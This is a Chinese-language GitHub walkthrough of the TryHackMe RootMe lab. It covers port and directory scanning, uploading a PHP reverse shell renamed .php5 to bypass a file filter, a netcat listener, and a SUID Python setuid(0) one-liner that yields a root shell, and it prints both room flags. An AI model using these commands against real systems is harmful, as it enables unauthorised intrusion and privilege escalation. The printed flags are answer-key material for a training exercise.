AdityaBhatt3010/rootme

GitHub: AdityaBhatt3010/rootme

一篇面向新手的 TryHackMe RootMe 靶机完整渗透演练,涵盖侦察、Web 漏洞利用、反向 Shell 与 SUID 权限提升全流程。

Stars: 1 | Forks: 0

# TryHackMe RootMe 实战演练 | 从初始侦察到获取 Root 权限 TryHackMe 的 [RootMe 房间](https://tryhackme.com/room/rrootme) 是一个对新手友好且注重实战的靶机,它演练了核心的渗透测试概念:侦察、Web 漏洞利用、反向 Shell 以及权限提升。 在本篇演练中,我们将从初始枚举开始,一步步实现完全获取 root 权限,同时理解每一步背后的原理,而不是盲目地执行命令。 # 任务 1:部署靶机 第一步只需部署目标靶机,并确保通过 TryHackMe VPN 建立了连接。 如果您之前没有配置过 VPN 访问,请先完成 OpenVPN 设置房间。 这里没有 flag——仅仅是环境配置。 # 任务 2:侦察 一如既往,在尝试漏洞利用之前,我们需要了解目标的攻击面。 此阶段的目标是识别暴露的服务、版本以及潜在的隐藏攻击路径。 ## 使用 Nmap 进行端口扫描 我们从标准的服务/版本扫描开始。 ### 载荷 (PAYLOAD) ``` nmap -sC -sV ``` ### 为什么要这样做? * `-sC` 运行 Nmap 的默认脚本以进行额外枚举 * `-sV` 检测服务版本 * 这为我们提供了快速的初步评估,且不会产生过多噪音 示例发现: * 端口 22 → SSH * 端口 80 → HTTP * Apache 版本 → 2.4.41 这确认了 **2 个开放端口**。 ## 目录枚举 由于暴露了 Web 服务器,下一个符合逻辑的步骤是爆破目录。 ### 载荷 (PAYLOAD) ``` gobuster dir -u http:// -w /usr/share/wordlists/dirb/common.txt ``` ### 为什么要这样做? Web 应用程序通常会暴露隐藏的管理面板、上传接口、备份文件或未在主页上链接的开发路径。 Gobuster 可以利用字典快速发现这些内容。 结果显示: ``` /panel/ ``` 这立刻引起了我们的兴趣。 ![1](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/255d1eb818232713.png) `/panel/` 接口暴露了一个文件上传界面——如果上传验证不严,这通常是潜在远程代码执行的强烈信号。 # 任务 3:获取 Shell 既然我们有了一个上传接口,接下来的目标就是将文件上传转化为代码执行。 一种常见的技术是上传 PHP 反向 Shell。 ## 准备反向 Shell 我们将使用 PentestMonkey 著名的 PHP 反向 Shell。 然而,许多应用程序会直接阻止 `.php` 文件的上传。 这里一个简单的绕过方法是更改扩展名。 ### 载荷 (PAYLOAD) ``` cp reverseShell.php reverseShell.php5 ``` ### 为什么这会奏效 一些上传过滤器只会将以下明显的扩展名列入黑名单: ``` .php ``` 但是 Apache/PHP 配置可能仍然会解析其他的替代扩展名,例如: ``` .php5 ``` 因此,尽管绕过了简单的验证,该文件仍然会作为 PHP 执行。 ## 启动监听器 在触发载荷之前,我们需要有程序在等待传入的连接。 ### 载荷 (PAYLOAD) ``` nc -nlvp 4444 ``` ### 为什么要这样做? 这会启动一个 Netcat 监听器: * `-n` → 不进行 DNS 查询 * `-l` → 监听模式 * `-v` → 详细输出模式 * `-p` → 指定端口 端口 `4444` 与反向 Shell 的配置相匹配。 ## 触发反向 Shell 上传: ``` reverseShell.php5 ``` 然后导航至: ``` /uploads/ ``` 并执行上传的 Shell。 一旦触发,服务器就会反向连接到我们的 Netcat 监听器。 现在您已经获得了命令执行权限。 ## 稳定 Shell 反向 Shell 通常不稳定且操作体验差。 一个合适的伪终端会让操作轻松很多。 ### 载荷 (PAYLOAD) ``` python -c 'import pty;pty.spawn("/bin/bash")' ``` ### 为什么要这样做? 这会将 Shell 升级为更具交互性的终端: * 更清晰的命令执行 * Tab 补全(有时可用) * 更好地处理交互式程序 如果不这样做,权限提升的过程将会非常令人沮丧。 ## 查找 user.txt 现在我们开始搜索 user flag。 ### 载荷 (PAYLOAD) ``` find / -type f -name "user.txt" 2>/dev/null ``` ### 为什么要这样做? * `/` 搜索整个文件系统 * `-type f` 限定为文件 * `-name` 指定目标文件名 * `2>/dev/null` 隐藏权限拒绝的错误 结果: ``` /var/www/user.txt ``` 读取它: ### 载荷 (PAYLOAD) ``` cat /var/www/user.txt ``` Flag: ``` THM{y0u_g0t_a_sh3ll} ``` ![2](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/6f35d2ab1e232721.png) 至此,我们已经作为低权限用户获得了初始立足点。 # 任务 4:权限提升 最终目标是获取 root 访问权限。 有了可用的 Shell 后,首先要检查的就是异常的 SUID 二进制文件。 ## 查找 SUID 文件 ### 载荷 (PAYLOAD) ``` find / -perm -4000 2>/dev/null ``` ### 为什么要这样做? SUID 二进制文件以其所有者的权限执行。 如果其所有者是 root,利用其中一个就能瞬间实现权限提升。 在结果中: ``` /usr/bin/python ``` 这很不寻常。 ## 为什么 Python 在这里很危险? 带有 SUID 权限的 Python 二进制文件风险极高,因为 Python 可以直接调用系统命令并操纵进程权限。 如果 Python 以提升的权限运行,我们可以指示它生成一个 root Shell。 ## 利用 SUID Python ### 载荷 (PAYLOAD) ``` /usr/bin/python -c 'import os; os.setuid(0); os.setgid(0); os.execl("/bin/sh","sh","-p")' ``` ### 载荷分解 **`os.setuid(0)`** 将用户 ID 设置为 root。 **`os.setgid(0)`** 将组 ID 设置为 root。 **`os.execl("/bin/sh","sh","-p")`** 在保持提升权限的同时启动一个 Shell。 `-p` 标志可防止权限降级。 如果成功: ``` whoami ``` 返回: ``` root ``` 游戏结束。 ## 捕获 root.txt 搜索: ### 载荷 (PAYLOAD) ``` find / -type f -name "root.txt" 2>/dev/null ``` 读取: ### 载荷 (PAYLOAD) ``` cat /root/root.txt ``` Flag: ``` THM{pr1v1l3g3_3sc4l4t10n} ``` ![3](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/20473a7f8e232730.png) # 最终 Flag ## User Flag ``` THM{y0u_g0t_a_sh3ll} ``` ## Root Flag ``` THM{pr1v1l3g3_3sc4l4t10n} ``` # 核心要点 本房间强化了几个实用的进攻性安全概念: * 服务枚举始终是起点 * 隐藏的 Web 目录往往会暴露意想不到的攻击面 * 弱上传验证可能演变成远程代码执行 * 后渗透阶段,反向 Shell 的稳定性至关重要 * 配置错误的 SUID 二进制文件是权限提升的金矿 RootMe 对新手很友好,但其方法论反映了真实世界的渗透测试工作流程。 祝您黑客之旅愉快 ⚡
标签:Apache, CISA项目, CSV导出, CTI, meg, Nmap, Python提权, RootMe, SUID提权, TryHackMe, Web安全, 信息安全, 协议分析, 反取证, 反弹Shell, 大数据, 安全评估, 实战教程, 密码管理, 应用安全, 提权, 数据统计, 文件上传漏洞, 权限提升, 漏洞复现, 目录扫描, 端口扫描, 网络安全, 网络安全审计, 蓝队分析, 虚拟驱动器, 逆向工具, 隐私保护, 黑客技术